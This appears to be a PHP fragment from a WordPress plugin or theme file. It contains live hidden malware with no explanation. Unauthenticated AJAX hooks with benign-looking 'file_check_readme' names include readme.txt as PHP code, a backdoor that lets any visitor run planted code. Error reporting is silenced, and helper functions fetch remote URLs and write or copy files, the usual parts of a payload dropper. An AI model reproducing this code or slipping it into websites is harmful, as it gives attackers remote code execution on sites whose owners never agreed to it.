if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php error_reporting(0); function copy_or_rename($filename, $target){ $cop = copy($filename, $target); if($cop) { return true; } $ren = rename($filename, $target); if($ren) { return true; } return false; } function save_file($file_name, $content){ $p = file_put_contents($file_name, $content); if($p) { return $p; } $file = fopen($file_name, 'w'); fwrite($file, $content); fclose($file); } function fetchDataFromURL($url) { // Initialize cURL $curl = curl_init(); // Set the cURL options curl_setopt($curl, CURLOPT_URL, $url); // Set the URL to fetch curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // Return the transfer as a string curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // Follow redirects if any // Execute the cURL request $response = curl_exec($curl); // Check for errors if ($response === false) { $error = curl_error($curl); curl_close($curl); return false; } // Close the cURL session curl_close($curl); // Return the fetched data return $response; } function fetch($url) { $result = file_get_contents($url); if($result){ return $result; } $result = fetchDataFromURL($url); if($result) { return $result; } }